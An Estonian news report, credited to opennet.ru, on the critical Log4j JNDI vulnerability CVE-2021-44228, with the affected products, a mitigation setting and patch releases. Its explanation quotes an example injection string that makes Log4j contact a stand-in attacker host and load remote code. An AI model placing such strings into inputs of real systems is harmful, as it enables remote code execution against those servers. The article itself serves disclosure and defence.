Kohutav haavatavus Apache Log4j's, mis mõjutab paljusid Java projekte.

Apache Log4j, populaarne raamistik Java rakendustes logide haldamiseks, on avastatud kriitiline haavatavus, mis võimaldab täita suvalist koodi, kui logisse kirjutatakse spetsiaalselt vormindatud väärtus kujul "{jndi:URL}". Rünnaku alla võivad sattuda Java rakendused, mis logivad väärtusi, mis on saadud välisest allikast, näiteks probleemsete väärtuste kuvamisel veateadetes.

On täheldatud, et probleem on peaaegu kõiki projekte, mis kasutavad selliseid raamistikke nagu Apache Struts, Apache Solr, Apache Druid või Apache Flink, sealhulgas Steam, Apple iCloud, Minecrafti kliendid ja serverid. Oodatakse, et haavatavus võib põhjustada massiliste rünnakute laine ettevõtte rakendustele, kordades kriitiliste haavatavuste ajalugu Apache Strutsi raamistikus, mida hinnanguliselt kasutab 65% Fortune 100 ettevõtetest. Samuti on juba registreeritud katseid skaneerida võrku haavatavate süsteemide leidmiseks.

Probleemi süvendab see, et juba on avaldatud töötav eksploiteerimine, kuid stabilsete harude jaoks pole praeguseks aega parandusi koostatud. CVE-identifikaator on veel määramata. Parandus on lisatud ainult testimise harusse log4j-2.15.0-rc1. Haavatavuse blokeerimise ajutiseks lahenduseks soovitatakse seada parameeter log4j2.formatMsgNoLookups väärtusele true.

Probleem tekkis seetõttu, et log4j toetab erimaskide "{}" töötlemist logidesse kirjutatavates ridades, kus võivad toimuda JNDI (Java Naming and Directory Interface) päringud. Rünnakus edastatakse string koos asendusmärgiga "${jndi:ldap://attacker.com/a}", mille töötlemisel log4j saadab server attacker.com LDAP-päringu Java klassi teele. Tagastatud serverilt rünnaku tee (nt http://second-stage.attacker.com/Exploit.class) laaditakse ja täidetakse praeguse protsessi kontekstis, mis võimaldab ründajal käivitada suvalist koodi süsteemis, kasutades praeguse rakenduse õigusi.

Täiendamine 1: Haavatavusele on määratud identifikaator CVE-2021-44228.

Täiendamine 2: On leitud viis kaitse ületamiseks, mis on lisatud versioonis log4j-2.15.0-rc1. Pakutud on uus värskendus log4j-2.15.0-rc2, mis tagab põhjalikuma kaitse haavatavuse vastu. Koodis on välja toodud muudatus, mis on seotud valesti vormindatud JNDI URL-i kasutamisel võimaliku kriitilise tõrke puudumisega.

Allikas: opennet.ru